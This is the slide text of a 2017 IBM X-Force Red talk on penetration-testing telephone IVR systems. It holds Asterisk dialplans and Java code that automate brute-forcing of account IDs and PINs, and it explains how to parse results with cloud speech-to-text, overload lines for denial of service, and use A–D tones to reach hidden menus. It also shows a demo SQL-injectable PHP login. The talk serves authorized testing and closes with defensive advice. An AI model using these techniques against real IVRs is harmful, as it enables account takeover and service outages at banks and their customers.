Pentesting an IVR with cloud

AN APPROACH TO INTERACTIVE VOICE RESPONDER TESTING

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September 2017
Agenda

- About us
- What is an IVR, what is it used for
- Hacking the IVR
- Developments
What is IBM XFR?

- Elite IBM team of hackers
- Available in America, EMEA and Asia Pacific
- Regular speakers on the prestigious security conferences – BlackHat, Defcon, Recon
- Pentesting Application, Infrastructure, SCADA, IoT, Mobile
X-Force Red Conference Talks

InterConnect 2017
X-Force Red Media Coverage
About speakers

• Vladan Nikolic
  – EMEA Team Leader
  – Senior Pentester in IBM based in Serbia
  – Hates Java and Apple
  – Expert Rakija Drinker

• Benjamin Lafois
  – Senior Pentester in IBM based in France
  – Loves Java and Apple
Introduction

• This session is **not** a VOIP / SIP / IPBX / Asterisk configuration tutorial!
• This is **not** a SIP hacking session

• Prerequisites: Linux Server, Asterisk, some scripting/coding skills
• You will need a SIP provider to dial ISDN/land lines. You don’t need it to be located in the same country as your target. Most important: terms of use, rates for the target country, simultaneous lines…
• Incoming number is **not** required – only dial-out
What is an IVR

• Interactive Voice Response, « digital receptionist »
• « An IVR system consists of telephony equipment, software applications, a database and a supporting infrastructure. »
• Used by banks, company call routing, transactions…
• Usually pre-recorded messages, but can be using « live » systems: TTS, STT
  – TTS : Text To Speech
  – STT : Speech To Text
• Modern features with cloud: voice recognition, dynamic contents (answers)
What is DTMF

- Dual-tone multi-frequency signaling, standardized
- Sound you can hear when a key is pressed on a keypad of a phone
- Did you know that A, B, C and D are also in the specifications?
- A/B/C/D are used for system-to-system and maintenance

- Was not designed to play songs ;-)

![Keypad Diagram]
Infrastructure

- Typical IVR infrastructure
How did we come to IVR pentest?

- If the IVR is connecting to any system related with the banking system (database...), then the IVR server is .... **INCLUDED IN PCI TESTING SCOPE !!**
- One of our large finance customer we are doing PCI assessments for included this system in scope
- Apply standard and **smart** pentest approach!
Motivation for hackers

- Discover valid credentials (brute force)
- Bypass controls: get access to people and bypass waiting queues
- Get reusable accesses: credentials found can be reused on web-services
- Denial of service
Possible attack vectors and weaknesses

• IVR systems can be using insecure in-house developments
• Dialplans containing hidden features (DTMF sequences or voice recognition)
• No account lockout policy
• No monitoring (security or usage) : systems rarely targeted
Cloud Services

• Cloud service are used to provide IVR service and to attack it
• Those services are permanently improving and extremely efficient compared to offline solutions (% of confidence, performance…)
• Easier to use and configure

• Text To Speech
  – Transform text to audio files
• Speech To Text
  – Transform audio records to text

Usually free accounts are sufficient for pentest usage!

• Telephony Providers (SIP)
  – Extremely low costs, availability
Pentesting Process
IVR Workflow

• Establish the workflow of targeted system
• This is the **attack-surface** of the IVR
• It will help you determine « entry points »
  – Only DTMF ?
  – Voice recognition ?
    ▪ It depends on voice recognition engines, some accept punctuation, some not
  – Where is dynamic content
Example

• We implemented an IVR server according to this workflow
• This IVR is using TTS module (AGI Perl with Google Cloud)
• Dynamic generation with caching
• We are going to attack this IVR

```
[saybalance]
exten => s,1,agi(googleletts.agi,"Your balance is",en)
;exten => s,n,agi(googleletts.agi,${result},en)
exten => s,n,agi(googleletts-file.agi,/tmp/log_res_${CDR(uniqueid)},en)
exten => s,n,agi(googleletts.agi,"dollars.",en)
exten => s,n,Goto(goodbye,s,1)
```
Attack Infra

- You need to automate attack
- Create a dedicated attack infrastructure
- We chose Asterisk
  - "Asterisk is a software implementation of a telephone private branch exchange (PBX)"
  - Most famous and open-source IPBX
  - Modular, can be easily extended with scripts and API in multiple languages
Play « welcome » message
Prompt « customer ID »
« # » typed before timeout = 10s ?
Prompt « pin code »
« # » typed before timeout = 10s ?
Account Valid ?
Pin Valid ?
Return account balance
Say Goodbye
Say Goodbye
Dial Number
Wait…
Play DTMF digits
Wait…
Dial Number
Play DTMF digits
Wait…
Hangup
Attack #1 : brute-forcing account IDs and PIN codes

- Bad design in the workflow: different responses whether account ID is valid or not!
- "An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account. »

```
Account Valid ?
Yes

Pin Valid ?
No

No
Play « invalid account » message

No
Play « invalid PIN » message
```

- https://www.owasp.org/index.php/Authentication_Cheat_Sheet
Dialplan

- Asterisk Dialplan (extensions.conf) = define the attack
  - Several ways of implementing it – here is just an example – can be made with AGI scripts also…

```plaintext
exten => 902,1, MixMonitor(${EXTEN}-${STRFTIME(${EPOCH},,%Y%m%d-%H%M%S)}.wav)
exten => 902,n, Answer()
exten => 902,n, Wait(${waitdelay1})
exten => 902,n, SendDTMF(${accountid})
exten => 902,n, Wait(${waitdelay2})
exten => 902,n, SendDTMF(${pin})
exten => 902,n, Wait(${waitdelay3})
exten => 902,n, Hangup()
```

- Trigger this dialplan from Asterisk Manager Interface (AMI), and set variables from any language (Java, Python…)
- As a bad pentester/coder, I use Java 😊
Dialplan

- Trigger this dialplan from Asterisk Manager Interface (AMI), and set variables from any language (Java, Python...)

```java
OriginateAction originateAction = new OriginateAction();
originateAction.setContext("mycontext");
originateAction.setChannel(destination);
originateAction.setExten("902");
originateAction.setPriority(1);
originateAction.setTimeout(100000L);
originateAction.setAsync(true);

originateAction.setVariable("accountid", accountId);
originateAction.setVariable("pin", pin);

originateAction.setVariable("waitdelay1", waitDelay1);
originateAction.setVariable("waitdelay2", waitDelay2);
originateAction.setVariable("waitdelay3", waitDelay3);
```

IVR server: SIP/xxxx ...

Attack robot: local extension

Variables = ID + PASS!
Problem

- Sending sequences and timing is ok…
- **Record** the call (entire or just the result)
- But how to parse results of a brute-force attack?

Code valid?  
Code Invalid?
How to determine if my combination is valid or not?

- Audio fingerprinting (« shazam » like): complex to implement
- Offline Speech to Text (CMU Sphinx…): several were tested – not satisfying
- Cloud voice recognition:
  - IBM Bluemix Speech To Text
  - Google Cloud
  - Microsoft Bing Voice
  - Wit.AI
  - Houndify
- Fast & efficient – All of them!
- There is a unique Python library to interface all of them (SpeechRecognition)
- Many languages are supported
- Associates a WAVE file to a TXT file! Don’t forget to name your WAVE file correctly (include parameters provided in record name!)
Making optimization

- Total workflow length is about 16 seconds: attack can be long…
- Optimize:
  - Interrupt IVR questions / answers if possible: test all acceptable keys \(=>\) *, #, A, B, C, D
    - Typing special keys can interrupt the playback and go to next step
  - Simultaneous requests
  - Retries without redialing if IVR workflow permits
    - You can save seconds
    - More difficult to implement (live detection of valid/invalid)
Optimization results on our example

- Skip « playbacks » by sending « * »
- From 10.6s to 4.5s --- 58% of time saved
Processing results

• We are just interested by the answer of the IVR:

• 2 solutions
  – Split audio file (script with ffmpeg for example)
  – Start recording in the dialplan just after sending the DTMF corresponding to the PIN code (preferred, as the dialplan is able to detect silences and variations on timing caused by variation of load on remote system)
Recording only the response

- Adding a new MixMonitor action just for the result

```plaintext
; Optimized versions
exten => 903,1,MixMonitor(${EXTEN}-${STRFTIME(${EPOCH},${DATE%-d-%H-%M%S})}-${accountid}-${pin}.wav)
  exten => 903,n,Answer()
  exten => 903,n,Wait(2)
  exten => 903,n,SendDTMF(*)
  exten => 903,n,Wait(1)
  exten => 903,n,SendDTMF(*)
  exten => 903,n,Wait(1)
  exten => 903,n,SendDTMF(${accountid},0.4,0.4)
  exten => 903,n,Wait(1)
  exten => 903,n,SendDTMF(*)
  exten => 903,n,Wait(1)
  exten => 903,n,SendDTMF(${pin})
  exten => 903,n,Wait(1)
  ;exten => 903,n,Wait(0.1)
  exten => 903,n,WaitForSilence(1000)
  exten => 903,n,Hangup()
```
Submitting results to STT in the Cloud (account ID)

- Converts WAV results in TXT files reliably and fast

```
10051075;0000;invalid account please type your 8 digit account ID
10051076;0000;invalid account please type your 8 digit account ID
10051077;0000;invalid account please type your 8 digit account ID
10051078;0000;invalid account please type your 8 digit account ID
10051079;0000;invalid account please type your 8 digit account ID
10051080;0000;invalid account please type your 8 digit account ID
10051081;0000;invalid account please type your 8 digit account ID
10051082;0000;invalid account please type your 8 digit account ID
10051083;0000;invalid account please type your 8 digit account ID
10051084;0000;invalid account please type your 8 digit account ID
```

- 10051081 is a valid account ID, let's find the PIN now
Submitting results to TTS in the Cloud (PIN)

- The PIN of account 10051080 is 5661!
Potential Issues During Brute-Force

- When running on loaded systems or many simultaneous calls, slow-down the attack
- System can miss DTMF frequencies if sent too fast or too short
- Introduce small silences, extend DTMF times
- Move from hard-coded delays to « wait for silence ». Remote system can have delays also if using TTS instead of pre-recorded messages
- Allow sufficient time for your tests: can be pretty long

```
[ivr-top]
exten => s,1,Answer()
exten => s,n,agi(googlets.agi,"Welcome to hairdresser international limited bank.",en,*)
exten => s,n,Goto(prompt-accountid,s,1)

;exten => 902,n,Wait(${waitdelay3})
exten => 902,n,WaitForSilence(2000)
exten => 903,n,SendDTMF(${accountid},0.4,0.4)
exten => 903,n,Wait(1)
```
Simultaneous Requests / DoS

- The remote IVR has a certain number of lines (parallel calls allowed)
- You will hit the limit of lines before the CPU limit of the remote IVR
- DoS: no more lines, busy tone for customers
- To reduce your attack time (and obtain results faster), you need to have several threads
- Increase it progressively until you reach the busy tone
- Careful: you need your SIP provider to allow you to have more lines than you victim!
  - The busy tone can come from your provider, not from the remote server! Validate it with an external line
- If necessary, contract several different SIP providers to get more lines
- Your attack script must handle “hangup” events from Asterisk to place new calls when previous are terminated
Attack #2: incorrect handling of ABCD, Hidden Menus

• DTMF frequencies support « hidden » frequencies: A, B, C, D
  – Historical maintenance mode
  – Can activate hidden features or machine-to-machine services (no ABCD on phones)

• Try those!
  – Find hidden menus / features / bypasses
  – Crash remote system and find information
Weak implementation example & hack

- Simple bank balance checking, with account number and pin code

```
[login]
exten => s,1,Set(FILE(/tmp/log_res_${CDR(uniqueid)})={curl(http://localhost/ivr-demo/login.php,account=${account}&pin=${pin}))
```

```php
$result = $db->query("select * from accounts where id = ". $account);
```

- Stupid PHP code with SQL injection?
- « we don’t care user can just input digits with DTMF! »
Behind the scene

- What is really happening, if you could directly contact the webserver (of course you can’t)

**Request**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Params</th>
<th>Headers</th>
<th>Hex</th>
<th>Solace</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;POST /api/one/login.php HTTP/1.1&quot;</td>
<td></td>
<td>Host: 192.168.1.10</td>
<td></td>
<td></td>
</tr>
<tr>
<td>User-Agent: Mozilla/5.0 (X11; Ubuntu; Intel x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/10.0.0.0 Safari/536.0</td>
<td></td>
<td>Accept-Language: en,fr,fr-FR;q=0.8,fr;q=0.6,de;q=0.5,es;q=0.3</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Connection: close</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Content-Type: application/x-www-form-urlencoded</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>account=0123456789</td>
<td>pin=1234</td>
<td></td>
</tr>
</tbody>
</table>

**Response**

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Hex</th>
<th>Solace</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;HTTP/1.1 200 OK&quot;</td>
<td>Date: Tue, 05 Oct 2017 19:43:19 GMT</td>
<td>Server: Apache/2.4.10 (Ubuntu)</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Vary: Accept-Encoding</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Content-Length: 485</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Content-Type: text/html; charset=utf-8</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Connection: close</td>
<td></td>
</tr>
</tbody>
</table>

```xml
&lt;/script&gt;
&lt;!--&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;--&gt;
&lt;html&gt;

--&gt;&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;--&gt;
&lt;html&gt;
```

- The result
- What ???? 1m13 ?! Isn’t TTS playing me an error message ?!
Speech to Text of result

• [*] Processing  903-20170905-152914-0000ABCD-7678.wav
• [+] Google # welcome to please type your right please type your forehead your balance is CRV warning be sqlite3 query unable to prepare statement 1 unrecognised token and q u o t o o 1 l a b c d e and q u o t n b c a r w w w HTML I VR demo login PHP V online p35b BR BRB fatal error B and card error call to a member function February and boolean in c a r w w w HTML I VR demo login PHP 39 factory number 0 / / / www.ty.com el clasico dash demo class login. PHP 76 Chicago ABCD 7678 number 1 m thrown in b b a r w w w HTML IVR demo login PHP V online bs39 bbr dollars it by
• [*] Done
Error from IVR

• The TTS plays you the Apache/PHP Error
• You can learn from it – whereas you cannot crack it, but maybe you can obtain an IP address of the server or something else
• You can use it to generate DoS : you can busy the line for a long time with a simple error message
Future Development

• Methodology & tools still in development

• Tool for automating workflow generation
  – At every silence, try every key combination, length accepted by fields etc.
  – Discover all decision nodes, menus
  – Use Speech To Text to labelize the menu and detect expectations of the IVR using keywords
    ▪ Type, Say, Dictate, Press …

• Penetrate voice-recognition system with dictionaries of sentences / questions
  – New IVR accepts questions (using cognitive systems)
Few Recommendations

- Apply good practices to IVR
- Account Lockout
- No distinctions in valid or invalid user-id
- Proper security on backend systems
- Detect and block numbers performing brute-force
- Detect too fast DTMF sequences
THANK YOU

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